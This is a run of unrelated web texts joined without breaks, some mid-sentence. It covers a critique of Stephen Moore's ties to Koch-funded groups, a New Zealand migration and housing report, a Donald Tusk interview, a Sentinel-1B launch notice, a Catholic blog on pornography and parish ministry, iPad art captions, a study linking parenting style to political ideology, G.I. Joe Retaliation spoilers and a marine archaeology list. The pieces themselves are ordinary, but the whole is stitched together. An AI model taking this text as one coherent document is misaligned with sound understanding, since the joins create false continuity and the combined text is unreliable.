But in the realm of cable news, it’s WSJ editorial board member Stephen Moore who seems ubiquitous. Moore takes speaking fees from Americans for Prosperity, for which he seems to have a pretty steady gig. "We pay Stephen Moore a speaker’s fee on an event-by-event basis, which is based on a specific negotiated honorarium," Americans for Prosperity spokesperson Mary Ellen Burke emailed to me. "This is the same process we would follow when asking any public figure to speak at an AFP event."
Americans for Prosperity is directly involved in mounting support for Walker’s plan; last week, the group attempted to bus in counter-protesters to Madison, but apparently got few takers. Undaunted, AFP took part in a "Stand With Scott Walker" rally on Feb. 19, and released a television ad this week by that title. That didn’t stop Stephen Moore from presenting himself as nothing more than a journalist to the investors who watched CNBC on February 22, presenting figures in a deceptive way about the level of benefits received by public employees, and couching the battle in Wisconsin as one over pension and benefits — even though the major unions have offered to yield to the governor’s demands for greater worker contributions in those areas.
The Economic Policy Institute released a study showing that when benefits and pay packages are taken together as a whole, public employees earn less than comparably educated private-sector workers. None of those facts stopped Moore from framing the debate as a fight over benefits, which he claimed public employees scarfed up at a 50-percent higher level than those in the private sector.
When delivering the goods for those speaking fees coughed up by AFP, Moore may be apt to throw a little more red meat, engaging a cause almost as close to David Koch’s heart as union-bashing — that of climate-change denial. (Remember, Koch’s billions originate in the the oil and natural gas industries; Koch Industries has some 4,000 miles of pipeline in Wisconsin alone. And buried in the bill, according to the blog, Gin and Tacos, is a provision that would allow the no-bid sell-off of public utilities, such as those that produce energy.) At the 2009 RightOnline conference in Pittsburgh, Moore told the cheering crowd he thought global warming was "the greatest hoax of the last 100 years." He went on to say that the agenda to hold the line on climate change was "not just evil, but…contrary to the free-market system that made this country great."
Journalist or Handsomely Paid Activist? You Decide
Moore’s career has, in large part, been shaped from the beginning by the fortunes of Charles and David Koch. After getting his masters from George Mason University, at which Koch funds the Mercatus Institute, a free-market economic think-tank, Moore became a fellow at the Koch-funded Heritage Foundation, and later at the Cato Institute. From there, he became the founding president of the Club for Growth, which, coincidentally, put out a pro-Walker ad last week about the showdown with public employees in Wisconsin. (Moore was ousted from the club in 2004, and replaced with Pat Toomey, who is now the junior U.S. senator from Pennsylvania.) Moore also served on senior economist of the U.S. Congress Joint Economic Committee under then-Chairman Dick Armey, R-Tex., who now chairs the astroturf group FreedomWorks, which was founded with Koch money.
When Rupert Murdoch added the Wall Street Journal to his holdings in 2007, he became the titular boss of Moore, one of David Koch’s favorite sons. Perhaps it works like one of those royal marriages of yore. With those bonds, the lord of right-wing media cemented, perhaps, his standing in the realm of the man who would be king of the world.tea
(Hat tip to CBS News Online’s Stephanie Condon for the Gin and Tacos item.)A new report from public policy think tank, the New Zealand Initiative, suggests it is New Zealanders - not foreigners - who are pushing up house prices in Auckland and other fast-growing areas.
Photo: 123rf.com
The New New Zealanders report said high levels of migration and high house prices occurred when the economy was doing well - but one did not necessarily cause the other.
People on temporary visas, like students, opted to rent rather than buy, it said. While that meant they were competing with those who are New Zealand born, the rental market wasn't showing the same signs of stress as the house buying market.
Economists said New Zealanders who were feeling confident about their economic prospects were choosing to stay in the country and invest in housing, which was pushing up prices.
The report warned that changing immigration policy to influence house prices may not have the desired effect.
But a growing population, whether through natural increases or migration, increased demand for infrastructure, such as roads, footpaths, water pipes, libraries, highways and public transport.
The cost of infrastructure falls on local ratepayers and taxpayers, and the report suggested this could be an area where the government could recover costs from migrants - potentially through an upfront levy.
But the New Zealand Initiative said while there was "undoubtedly" a cost to high levels of migration, it was outweighed by the benefits that foreigners bring to the country.
It said current policy settings were "broadly fit for purpose", but policymakers needed to be vigilant to ensure that remained the case.
It also said the government should consider reducing some of the red tape in the immigration system.
"Measures such as letting high salaries count towards a migrant's point tally and letting private businesses sponsor migrants could ease some of the red tape that keeps high quality migrants from moving here."
About 125,000 people moved to New Zealand on a permanent and long-term basis in the June 2016 year.“We have to use this Ukrainian crisis also as something like an education” for the whole of Europe about “how serious the situation can be” for other countries in the region.
A former activist in the Polish Solidarity movement, the trade union that led the fight to topple Communism in the 1980s, Mr. Tusk, 57, ridiculed Russian accusations that the West had created the crisis in Ukraine by orchestrating the protests last year that toppled the pro-Moscow president, Viktor F. Yanukovych. He noted that Moscow had characterized the Solidarity movement as a “one big provocation against Russia” by the West.
“I have no doubts who is the victim and who is the aggressor in this part of the world,” he said. “Personally, I would want maybe more engagement for Ukraine.” He denounced the murder last week of a prominent opposition leader, Boris Y. Nemtsov, in the center of Moscow as a poor omen for freedom and human rights in Russia.
After serving as Poland’s prime minister for seven years, Mr. Tusk stepped down in September to take over as president of the European Council, becoming the first East European to hold one of the bloc’s most senior positions after a laborious period of political horse-trading among member states.
He arrives in Washington at a moment when both Europe and the United States want to present a common front against Mr. Putin and to deepen their cooperation in addressing terrorism. Trans-Atlantic relations are “absolutely the backbone not only of our two continents” but also “the only guarantee that our values like democracy, free markets, free movement and human rights are based on real power,” he said.
Europe’s acute security concerns, he said, made a proposed trade agreement with the United States a strategic priority. He said it was essential that American and European negotiators reach an agreement on the Trans-Atlantic Trade and Investment Partnership a deal strongly opposed by a host of European groups wary of globalization and American-style capitalism.
He acknowledged that the European Union’s complex decision-making made it difficult for the bloc to respond as swiftly and firmly to Russia and other security challenges as Washington would like.Watch live: Sentinel-1B launch
The launch was originally planned for 22 April but weather conditions and a technical issue delayed liftoff.
The second in the two-satellite Sentinel-1 radar mission is targeted for launch on Soyuz flight VS14 from Europe’s Spaceport in Kourou, French Guiana, on 25 April at 23:02 CEST (21:02 GMT)
Sentinel-1 is the first mission for Europe’s Copernicus environment monitoring programme. It carries an advanced radar to provide all-weather, day-and-night images of Earth’s surface.
The Sentinel-1B satellite is ready to be launched on a Soyuz rocket from Europe’s Spaceport near Kourou in French Guiana.
The launch of Sentinel-1B also provides an opportunity to give other smaller satellites a ride into space. Three CubeSats will be carried on the Soyuz rocket. They were developed by teams of university students through ESA's ‘Fly Your Satellite!’ programme run the Education & Knowledge Management Office in collaboration with European universities. The other satellite that is piggybacking a ride is Microscope from the French space agency, CNES.
Read more about Sentinel-1“We have all known the long loneliness and we have learned that the only solution is love and that love comes with community.”
Dorothy Day
The internet has suddenly exploded with articles on pornography, so I thought I would talk about a few things our parishes can do to create the opportunity for men and women to break free who are struggling with it.
Last month I was honored to take a good friend and priest out to lunch to celebrate his ordination to the priesthood. I had been sick the weekend of his ordination that summer and wasn’t able to be there. During his Mass of Thanksgiving I had to stay in the back and crept away as soon as it was over to avoid coughing on anyone. It was good to finally sit down and thank him for laying down his life for the good of the Church. Over the course of our lunch at the local tavern we started talking about young adult ministry, especially ministry to men and young fathers. The elephant in the room had always been what to do about pornography. Church leadership had long since been aware of the statistics; bishops had written letters on it; and there was plenty of free (and often useless) advice. We talked about how frequent confession and regular Mass attendance often is not enough to help men and women break their habit. They were always surrounded by a culture that suggested that sex be used illicitly, as often as possible, for recreation. Our sexual value was to be used as a mean’s to an end instead of a person’s dignity being an end in itself.
Pornography consists in removing real or simulated sexual acts from the intimacy of the partners, in order to display them deliberately to third parties. It offends against chastity because it perverts the conjugal act, the intimate giving of spouses to each other. It does grave injury to the dignity of its participants (actors, vendors, the public), since each one becomes an object of base pleasure and illicit profit for others. It immerses all who are involved in the illusion of a fantasy world. It is a grave offense. Civil authorities should prevent the production and distribution of pornographic materials. (CCC 2354)
When I worked as a director of religious education I had men, even parish leaders, come to me frequently to confess they were struggling with it. They had been using it and battling the temptation for years, even decades. A few years ago one father, a great guy whom I have no doubt loves the Lord, shared with me privately that he had been trapped by it for more than 30 years. One time. One idle moment of curiosity when he was a teenager and found his dad’s stash and it was over. What caught me off guard was when he told me that porn finally wasn’t enough anymore. He started going to strip clubs. I was floored for a moment. This isn’t exactly empirical evidence but one priest told me that if you look out into any crowd at Mass you can bet well over 50% of the men in the pews have a problem with sexual sin. I have been to Catholic youth conferences where 90% of the teen boys stand up when asked if they feel addicted to pornography. But there was a line that they don’t cross right? Since then I have spoken to men who have gone further and have seriously endangered or destroyed their marriages, health, and souls.
There was one common denominator to every single one of their experiences. The friend who confessed to going to strip clubs – after he went to confession he sat for hours alone in the church examining himself. He talked to his wife (who forgave him) and he talked to his pastor. He had a moment where he realized that it wasn’t merely about sex. He said he really abhorred being in the clubs, but he was desperate for real human connection and to fill the emptiness he felt. Even though he knew he wasn’t going to find it there, he was trying to find it. He realized he suffered a profound loneliness and a spiritual desolation. He had tried to find connections in his local parish, but everything he experienced was fake, and when he tried to reach out he was rejected. He said he had plenty of friends at the time, but no one he could be vulnerable enough with to confide in. He had been part of a men’s group at church for over a decade but they were never vulnerable with one another. They only talked about how amazing their lives were (they were happy and he was lonely), or if something went wrong, it was either health related or otherwise benign.
As Father and I talked over lunch he talked about his work to start a new men’s group, specifically for this problem and hoped I could give him some feedback on how to get guys to show up. In my experience there are three things that had to exist to help them crawl out of this terrible hole they found themselves in. It would work no matter what the sin was. They needed grace, grace, and more grace.
The grace of friendship. These guys are used to shame. Shame leads to isolation, and sin finds a refuge in secrecy. Even church groups can be isolating. If you are not on the ‘in’ crowd it can be tough just to show up. And if you are comfortable in the group, it can be tougher to get people to move from being nice to each other because that is what you are supposed to do, to being in love with another for the sake of the good of the other person. To form real friendships and open the possibility of vulnerability, true vulnerability. That kind of vulnerability where a guy can say “I have a real problem and I need your support.” That is how you know your faith sharing group has succeeded. It might not happen out in the open, but someone might pull you aside because they see you as a real friend. Those friendships lead to accountability. Every guy I have talked to that had a porn problem and no longer has a porn problem had a friend to keep him accountable because he was understanding. “Brother, you have a porn problem, I understand, I was there, and the great news is that God wants to do something amazing in your life.” Accountability alone is okay, but it doesn’t fix the root of the problem – loneliness. We need the grace of friendship.
The grace of forgiveness. People who deal with addiction or habit for years experience a real unrest in their life. When I went to sacrament of penance and said “Father, I feel like I’ve confessed the sin of jealousy 50 times in a row!” he responded “What, do you want a whole new set of sins?” His point was that God was working on me, don’t give up, and keep coming back to see Jesus in confession. We all need absolution, a fresh start. I’ve talked to guys who were so eaten up by guilt that I had to say “So, you deal with sexual sin. Guess what, you’re not alone. Not even remotely. God wants to heal the brokenness in you, but you have to let him by forgiving yourself and letting him forgive you.” Guys who get out of bad habits with porn have the grace of friendship & the grace of forgiveness. This forgiveness comes through the sacrament of reconciliation and by binding and casting out the spirits we are dealing with. If I just threw you off consider that the ordinary work of the devil is temptation. We have a guardian angel watching over us, and we have evil influences convincing us our sin isn’t that bad and we deserve to indulge because our legitimate needs aren’t being met. We need to deal with this brokenness by engaging in spiritual warfare. By allowing others to pray with us for freedom. There are methods to help parish ministries through this process. Confession alone often is not enough. Imagine what our parishes could do in the world if we were creating intentional disciples who lived in the freedom of Christ instead of the slavery of sin?
So – Friendship. Accountability. Freedom from spiritual desolation.
The grace of communion. We are not made to be alone. We are made to be in communion with each other and with God. Once we deal with the loneliness, brokenness, and need for forgiveness we come to spiritual growth through communion. Men need to go to Mass, pray the rosary, and spend time in Eucharistic Adoration. Guys I talk to who walk free of sexual sin typically go to Mass at least one day a week along with Sunday’s and days of obligation. They know they will fail if they don’t spend time with Jesus Christ. This is war. Don’t leave yourself exposed. I feel it in my gut if it has been too long since I have been to Eucharistic Adoration. It’s like being away from your spouse. If you love them you miss them, and the longer you are away the more your heart aches to be with them. When we grow in our relationship with God, the more we miss Him when we don’t spend time with Him. I know when it’s been too long. Guys who are free also spend time talking to their mom every day through the rosary. I haven’t met a guy who prays the rosary daily who still uses porn. |
akaoki Hsieh. Mountain landscape view with reflecting colors, tree-lined horizon, soft clouds on blue sky.
Fish by Takaoki Hsieh. Fish under the sea with patterned gills.
TwoKids by Takaoki Hsieh. Children leaping in patterned foliage.
BigTreeby Takaoki Hsieh. The artist’s first painting on iPad with a great big blue sky.
Random Starbucks Guy by Rick Shulman. Realism in the 2010s: big comfy chair with brick wall, coffee sign and man peering into the screen of his laptop.
Dante (Devil May Cry 3) by Raheem Nelson. Homage to a PlayStation game and anime art.
FGT! Sitting Pretty by freeboard 4 by SallyAnn La Main. Delicately painted bluebird perched on a woman’s hand.
Storm Clouds Gathering by David Gwaltney. Color streaks threaten across sky and sea.
Daybreak by David Gwaltney. Sun peaking above the horizon, sky and water make way for new day.
Hint of Spring by Shakespearesmonkey. Multimedia with pictures from mobile and traced over in Brushes iPad app.
Jar Jar Brinked by Paul Kercal. Artist’s work drawn on an iPod Touch, “done on a bus, train, tube, Eurostar and then back until the batteries ran out.”
Woman in library by Alex Raventós Cardús. Sketch with thin lines and fills of color.
Route (lle de la Réunion) by jmhincky2007. Storm sky reflected in road.
Arrangement in Dentist Office #2 by David Gwaltney. Flower still-life with reds, oranges, pinks and blue.
mire by Alex Raventós Cardús. Portrait with patterned furnishings.
Bol de plástic amb fruits by Alex Raventós Cardús. Fruit Still Life in complimentary patterned bowl and table covering.
HURT IN YOUR HURT by Paul Payne. Detailed right down to the tattooed arms and neck, and pack of Marlboro’s.
On the Bloor Street Line by Matthew Watkins. Subway sketch with a stranger dressed in black.
Surprise Sunrise by Agusta3. Landscape with cross-hatched lines, small brushstrokes and breakthrough sun.
4 miles outside of Lockjaw, Kentucky by Alberto Olio. Traveling down the road in the quintessential red pick-up truck.
GoodyBoy by Amanda Cook. Old-fashioned drive in sign lit at night.
Design by Amanda Cook. Perspective and typography at dusk.
NYC 1999 by Xoan Baltar. City scene with moving cars.
History by SallyAnn La Main. Textured seascape.
iPad Painting of Picasso’s Three Musicians by Rita Flores. Replicated Picasso painting which Pablo himself would have undoubtedly loved.
Mountain by robertdawson. Mountain meets water in this serene scene.
What a Life! by Nazo Sislian. A colorful life ride.
The city by Albert Viladrosa. An abstract cityscape with vibrant colors.
Retreating Glacier by Billy Steve Clayton. Palette of blues, green, browns and textured glacier.
Business card 002 with source material by Paul Kercal. Brushes app offers other adventures.
Written and compiled exclusively for Webdesigner Depot by Debbie Hemley. She is a blogger and social media aficionado. She works with businesses to develop content and social media strategies. Read her blog posts on All the News. You can also follow Debbie on Twitter (@dhemley).
What you think about Brushes art? Do you create artwork on an iPhone, iPod Touch or iPad? Let us know in the comments!New research provides confirmation of a decades-old theory: children raised by authoritarian parents are more likely to grow up into right-wingers.
Parents: Do you find yourselves arguing with your adult children over who deserves to win the upcoming election? Does it confuse and frustrate you to realize your political viewpoints are so different?
Newly published research suggests you may only have yourself to blame.
Providing the best evidence yet to back up a decades-old theory, researchers writing in the journal Psychological Science report a link between a mother’s attitude toward parenting and the political ideology her child eventually adopts. In short, authoritarian parents are more prone to produce conservatives, while those who gave their kids more latitude are more likely to produce liberals.
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This dynamic was theorized as early as 1950. But until now, almost all the research supporting it has been based on retrospective reports, with parents assessing their child-rearing attitudes in hindsight.
This new study, by a team led by psychologist R. Chris Fraley of the University of Illinois at Urbana-Champaign, begins with new mothers describing their intentions and approach in 1991, and ends with a survey of their children 18 years later. In between, it features an assessment of the child’s temperament at age 4.
The study looked at roughly 700 American children and their parents, who were recruited for the National Institute of Child Health and Human Development’s Study of Early Child Care and Youth Development. When each child was one month old, his or her mother completed a 30-item questionnaire designed to reveal her approach to parenting.
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Those who strongly agreed with such statements as “the most important thing to teach children is absolute obedience to whoever is in authority” were categorized as holding authoritarian parenting attitudes. Those who robustly endorsed such sentiments as “children should be allowed to disagree with their parents” were categorized as holding egalitarian parenting attitudes.
When their kids were 54 months old, the mothers assessed their child’s temperament by answering 80 questions about their behavior. The children were evaluated for such traits as shyness, restlessness, attentional focusing (determined by their ability to follow directions and complete tasks) and fear.
Finally, at age 18, the youngsters completed a 28-item survey measuring their political attitudes on a liberal-to-conservative scale.
“Parents who endorsed more authoritarian parenting attitudes when their children were one month old were more likely to have children who were conservative in their ideologies at age 18,” the researchers report. “Parents who endorsed more egalitarian parenting attitudes were more likely to have children who were liberal.”
Temperament at age 4—which, of course, was very likely impacted by those parenting styles—was also associated with later ideological leanings.
“Individuals who were liberal at age 18 years were more likely than individuals who were conservative at 18 years to have had high levels of activity and restlessness at 54 months,” the researchers write. “The sense of restlessness may translate indirectly into a desire to challenge the status quo or to change social systems in desired ways.”
This is not to say that parenting styles are the only factor influencing a child’s evolving political attitudes. Many psychologists, such as Jonathan Haidt, argue that genes and the culture a child grows up in probably play a bigger role than parenting styles. Also, the Illinois researchers did not gauge the parents’ political beliefs.
Nevertheless, this new research provides solid evidence that—as was long suspected—children raised in households were discipline and obedience are emphasized are more likely to grow up holding conservative beliefs, and those raised in a more relaxed manner are more likely to become liberals.
Clearly, we pick up many of our assumptions about how the world works—and how it should work—at a very early age.feliu316 Cobra Soldier Join Date: Jul 2008 Location: CR Posts: 45
Hi there!
I just came back from an early screening of G.I. Joe Retaliation in my home country of Costa Rica.
I can certainly scan my tickets tomorrow for proof, but I wanted to leave with you detailed spoilers about the movie tonight in case anyone is interested.
Movie starts with a vignette recapping Rise of Cobra and the status of the villains (Cobra Commander & Destro in a special German prision), Storm Shadow and Zartan on the run. The vignette also establishes Duke as unit commander with Roadblock, Snake-Eyes, Flint & Lady Jaye being his main group.
Theres no mention of any of the other Joes from the first movie at any time during Retaliation, at least nothing I picked up. There was no mention of Rex Lewis or the Baroness at all.
The Commander was referred as Cobra Commander by everyone in the movie, including the prison warden.
The Joes, led by Duke, raid a North Korean military base that shows the Joes skills.
Here we can see the sequence from the trailer where Roadblock is cutting a fence. They establish Lady Jaye as a sharpshooter, Flint as a hothead that does his own thing and the friendship between Roadblock and Duke. Snake-Eyes is absent during the raid. Mouse is show as a sniper.
We cut back to the US President, Zartan in disguise, trying to torture the location of Cobra Commander from the real President. He mentions his bodyguard as being Zandar, though no relation is established. Zandar wears a cobra insignia pin on his secret service jacket, rather than the US Flag.
After the mission, Duke & Roadblock are back in the U.S. playing video games and hanging out with Roadblocks daughters and see in the news that the Pakistani president has been murdered and theres chaos in the streets.
It shows them as being long-time friends.
Zartan calls out an strike on Pakistan to retrieve their nuclear warheads and sends the Joes. Where we see the trailer sequence with the Joes on a plane getting ready, Jaye showing her guns to Mouse & Flint, as well as Roadblock quoting Jay Z.
The Joes take out the base with zero casualties (the trailer scene of the Joes invading a warehouse) and the are successful in getting the war heads.
After the mission, the Joes are hanging back and preparing the safe passage of the war heads. Duke and Roadblock engage in a shooting contest, which Roadblock wins and thus Duke will need to babysit his daughters when they return.
Roadblock is distracted by a mechanical firefly.
The President find out the mission was successful and orders the Joes attacked.
We clearly see the attack on the Joes happening soon after and the Joes are effectively decimated, much as we see on the trailer, and Duke is show clearly pushing Flint out of the way of a rocket that hits the Humvee where Duke is standing next to, the explosion makes it very clear that theres no way for Duke to survive such as close explosion.
Jaye, Flint and Roadblock hide in a well while the President does the press conference we see on the trailers and announces that Snake-Eyes was the Joe that killed the president of Pakistan and declares a manhunt for him. He said that the Joes intended to steal the warheads and had become traitors. He announces Cobra as the new security force for the U.S.
We cut to the German prison, where the guards arrive with a chained up Snake-Eyes (images from the trailers of a captured Snake-Eyes with neck leashes on). The warden explains that no one can escape the prison and introduces Snake-Eyes to his prized prisoners, Cobra Commander and Destro, both of whom are in suspended animation on those tubes (though the prisoners are awake and aware of what is happening) shown in the trailer.
The captured Snake-Eyes is revealed to be Storm Shadow in disguise and he is also imprisoned in the suspended animation tube, but fakes his death (Sleeping Phoenix) to distract the guards to that Firefly can attack the prison, as shown on the trailer.
Storm Shadow proceeds to escape when the guard come check on him and he frees Cobra Commander, we clearly see the Commander's scarred face and that he needs the suspended animation oxygen mask to breath.
Together kill the guards and Cobra Commander, Storm Shadow and Firefly are united in front of Destro. The Commander tells Destro that hes out of the group and they move out without him.
While escaping, the warden manages to detonate part of the prison and Storm Shadow is badly injured, Destro is presumably killed, and the Commander and Firefly send Storm Shadow to a mountain retreat to recover from his injuries while they continue their plans.
Snake-Eyes is shown training with Jinx and the Blind Master, where he sets Snake-Eyes off on a mission to bring Storm Shadow back to Tokyo to answer for the death of the Hard Master.
Jinx is established as Storm Shadows cousin and Snake-Eyes mistrusts her briefly, but the Blind Master sets him straight.
Roadblock, Flint & Lady Jaye get out of the well and identify that all Joes present on the attack are dead, Duke is once again shown/mentioned as being dead and they pick up everyones dogtags.
Mouse if shown dead as well.
They trek through the desert until they find an apparently illegal airstrip and make their way back to the U.S. Roadblock already suspects the president is the reason why the Joes were attacked, since he could be the only one to order such a strike.
Once theyre back in the U.S., Roadblock orders Flint and Lady Jaye not to go back home, but rather to keep a low profile and they go to Roadblocks old neighborhood and establish a base of operations in a run down gym.
He is called Marvin by some buddies and later on his last name is revealed as Hinton, so at least he is keeping his filecard name (not so much for others).
Jaye setups a computer and starts to gather proof that the President is fake by watching videos of his speeches before and after August 9th and shows two different mannerism and speech patterns. They are now convinced the President is a fake and go to ask for Joe Coltons help.
Snake-Eyes and Jinx arrive to the mountain retreat using the AWE Striker (great movie tie-in), where Storm Shadow is being nursed back to help.
Storm Shadow and Snake-Eyes have their duel (I felt a resemblance of the Silent Issue here) and Jinx manages to chloroform Storm Shadow into submission after a good fight between the former sword brothers.
Snake-Eyes and Jinx attempt to escape the mountain with Storm Shadows unconscious body (hes in the large duffel-bag type that Snake is shown carrying around in the trailers) and this is where we get the Red Ninjas mountain battle, which was very well executed in my opinion and full of surprises not seen on the trailers. Snake-Eyes starts up an avalanche to get rid of the Red Ninjas and escapes with Jinx and Storm Shadow back to Tokyo.
Back in the U.S., the Joes meet with Colton and while he believes them, he cant do much to help them on getting to the President without better proof, but he does tell them where to find one of the Presidents aides in order to try to get access to Zartan.
Colton antagonizes Lady Jaye, calling her names and treating her like secretary, which annoys Lady Jaye. Colton is told that Duke died in the ambush (I get the feeling they really want us to know he is not coming back).
Lady Jaye pretends to be a jogger and ambushes the Presidents aide, who is drugged and forced to make a phone call to get Lady Jaye into a party the President is having, under a fake identity.
Snake-Eyes, Jinx and Storm Shadow arrive to the Blind Masters dojo and recount the story told in ROC, about how Storm Shadow murdered his uncle (with flashback to those sequences).
However, Storm Shadow refutes their claims and explains that someone else had murdered his uncle, who was the local swordsmith (Onihashi?).
Storm Shadow proves this when the sword that was used to kill the Hard Master breaks, showing it was not a true Arashikage blade.
Storm Shadow is aware that Zartan is the culprit and means to kill him, but was hurt that none of this family and friends believed of his innocence, which is why he ran away and hooked up with Cobra.
The Blind Master convinces Storm Shadow to join forces with Snake-Eyes and together kill Zartan, Storm Shadow accepts and they somewhat reconcile.
Lady Jaye, disguised, enters the party, but Zandar suspects she is not who she said she is and starts running a facial recognition program, while Jaye dances with the President and snatches a hair to use for DNA matching.
The President insists for Jaye to dance with him while Flint and Roadblock are running the DNA trace.
Zandar manages to get a positive ID and the computer shows her name as Jaye Burnett (not Allison). The Joes confirm he is indeed Zartan.
Jaye manages to sneak out and Roadblock sets up to kill the Zartan, but he is ambushed by Firefly who manages to beat him down (the trailer scene of them fighting in a warehouse) and he is only saved by Flint coming in to the rescue in an SUV.
Back at the gym, Lady Jaye tells Flint about her childhood, how her father wanted to have a boy (and be the fourth member of the family in the military) and that he felt she was not qualified to be in the military because she was a girl.
She kept pushing herself hard to earn his respect and to outrank him, just so that he could at least salute her, but he died before that could happen.
Flint flirts a bit with Lady Jaye, but I didnt see much chemistry to be honest.
Cobra Commander, Zartan & Firefly reunite to get Project Zeus completed, which is a series of 8 satellites that will be used to conquer the world, though its not clear how yet.
All 4 Joes, plus Jinx and Storm Shadow, meet up at Roadblocks old gym and confirm they will need to take down Zartan at a summit about nuclear weapons, so they go back to Joe Colton for help and he provides them with the weapons needed for the attack.
Storm Shadow refuses to pick up any military weapons and insists he will use his sword, however Roadblock tries to pick up a gun that used to belong to Gen.Patton, but Colton stops him and says its special.
The Joe's plan will be to have Storm Shadow, Jinx and some Red Ninjas (these guys are unaware of the upcoming double-cross) accompany Cobra Commander to the Summit and then turn on them, giving the Joes a distraction to attack. The Ninjas are shown with the Commander on the Fangboat from the trailer.
Colton provides Roadblock with the Tread Tripper (another toy to sale) to take out the Hiss tanks safeguarding the Summit, while Colton insists that Jaye accompany him to save the President, much to her surprise.
At the Summit, Zartan has other world leaders, all of whom possess nuclear warheads, at his mercy when he announces that he will launch an strike against all of their countries immediately if they refuse to disarm their nuclear programs.
When they call his bluff, he immediately launches all of the US Nuclear Missiles all over the world, which prompts all of the other world leaders to do the same thing.
Before they strike, Zartan turns around and self-destructs all of the US missiles and mentions that having the world destroyed wont be the U.S. fault, but rather all the other leaders who launched their counter strikes, similarly unprovoked.
This forces all of the nations to do the same and self-destruct their own warheads, thus leaving all nations without protection.
Theres a funny exchange between Zartan and the North Korean representative as well as Zartan playing Angry Birds while waiting for the other delegates to self-destruct their own warheads.
Cobra Commander then makes his presence known and states he has 7 Zeus satellites that will drop a missile from the sky that will destroy all of their capitals if they dont surrender and plead allegiance to him, he then shows the he means business by destroying London.
Since the missile is just dropped from space without a nuclear device, the damage is substantial but doesnt leave radiation trace.
The other countries comply and we have the montage of Cobra placing their flags around the White House.
Storm Shadow chooses this moment to betray the Commander and the Joes attack the Cobra forces.
Colton and Jaye (in El Camino) manage to save the President.
Meanwhile Roadblock takes out all of the HISS Tanks around the Summit.
The Commander orders Firefly to take the briefcase with the Zeus firing controls, having enabled the sequence to have the other 7 capitals destroyed in the meantime.
Roadblock catches up to Firefly using the Fangboat while Firefly escaped on a speed boat (finally making sense of the comment The Rock made during an E! interview where he said he piloted the boat).
Firefly and Roadblock have their rematch and of course Roadblock wins and uses Fireflys explosive firefly devices to kill him and stop the launch of the Zeus missiles from space.
Storm Shadow catches up to Zartan and after a brief scuffle, murders him with Snake-Eyes sword whom Snakes gave to him at the beginning of the attack. Jinx is given the sword to return to Snake-Eyes and Storm Shadow walks away.
The rest of the Joes are unable to prevent Cobra Commander from escaping their counterattack, thus setting up a potential 3rd movie.
The Joes are reinstated by the President and a memorial is created to honor the fallen Joes.
Jinx is formally inducted into the team and Colton gives Roadbock the gun that used to belong to Patton, telling him that he can use it on Cobra Commander.
Colton then reveals to Jaye, that he served with her dad and that he would have been very proud of her, Colton then salutes her to provide her with some closure.
The President states that they will recruit to bolster the Joes ranks again (could we potentially get Falcon on a third movie? No spoilers or clues about it, just a feeling/wishlist).
The Joes gather around the memorial and Roadblock shoots Pattons gun once to signify his intent to search for the Commander and the movie ends.
I really liked it over ROC, it has much more military action, I dont recall much science fiction (other than the Zeus satellites and some of Fireflys technology), which made it more grounded.
I loved Snake-Eyes and Lady Jaye on this, but Flint just had some parts of his personality and easily couldve been any other Joe.
Firefly was badass and I didnt know ahead of time of Storm Shadows turn, which made it a really cool surprise for me.
Zartan was also very good and I wish the Commander had done more, but he did look/sound menacing while he was on screen.
I didnt stay until the end of the credits (left about midway through them, after a finale sequence showing action scenes from the movie, including an unused scene of Jinx dressed in white similar to her SDCC figure), but the folks that work at the cinema didnt think there was a post-credit scene.
Definitely a huge improvement over ROC and Im genuine excited about where the franchise will go from here (Tomax & Xamot? Crystal Ball? Yeah, probably not Crystal Ball).
Let me know if you would like more detail about something and Ill be happy to share.
Ill try and rewatch it in a couple of week, as the screening was done in Spanish and I would like to see if I can pick up on anything else with English dialogue.
Now you know...Out of all the amazing archaeological discoveries made each and every day around the world, my favourites have got to be those that emerge from the depths of the ocean. I think there is something about the underwater world that captures our imagination – perhaps it is the curiosity and intrigue about what else may lie beneath the surface, or the idea that entire cities may be hidden on the ocean floor, out of sight and out of reach. Fortunately, underwater discoveries are not always out of reach and every year more incredible findings are made thanks to advancing technology in the field of marine archaeology. Here we present ten remarkable marine discoveries that have captured our imagination.
1. Artifacts retrieved from site of first ever ancient naval battle
In November, 2013, archaeologists announced the recovery of a treasure trove of artifacts off the coast of Sicily from the site of the first ancient naval battle ever discovered, including battering rams, helmets, armour and weapons dating back 2,000 years. They are the remnants of the Battle of the Egadi Islands - the last clash from the first Punic War which took place in 241 BC – in which the Romans fought the Carthaginians in a battle that culminated from more than 20 years of warring as the Romans struggled to gain a foothold in the Mediterranean Sea. While the Carthaginians were much more powerful on the water, the Romans lay in wait trapping the Carthaginians and blocking off their sea route in a sudden attack. Up to 50 Carthaginian ships were sunk, killing up to 10,000 men. The Roman victory set them on the road for Europe-wide domination. The priceless horde of artefacts had lain undisturbed on the seabed at a depth of 100 metres for more than two millennia.
2. 2,000-year-old intact Roman medicinal pill found in submerged shipping vessel
In June, 2013, a team of Italian scientists conducted a chemical analysis on some ancient Roman medicinal pills discovered in the Relitto del Pozzino, a 2000-year-old submerged shipping vessel which sank off the coast of Tuscany, revealing what exactly the ancient Romans used as medicine. The Roman shipwreck lay near the remains of the Etruscan city of Populonia, which at the time the ship foundered was a key port along sea trade routes between the west and east across the Mediterranean Sea. The Relitto del Pozzino was excavated by the Archaeological Superintendency of Tuscany throughout the 1980s and 90s, revealing a variety of fascinating cargo including lamps originating in Asia minor, Syrian-Palestinian glass bowls, bronze jugs, ceramic vessels for carrying wine and, of particular interest, the remains of a medicine chest containing a surgery hook, a mortar, 136 wooden drug vials and several cylindrical tin vessels, one of which contained five circular medicinal tablets. The tin vessels had remained completely sealed, which kept the pills dry, providing an amazing opportunity to find out exactly what substances were contained within them. The results revealed that the pills contain a number of zinc compounds, as well as iron oxide, starch, beeswax, pine resin and other plant-derived materials. Based on their shape and composition, scientists have suggested that the tablets were used as a type of eye medicine.
3. Incredible discovery of boat wreck in Croatia dated to 3,200 years
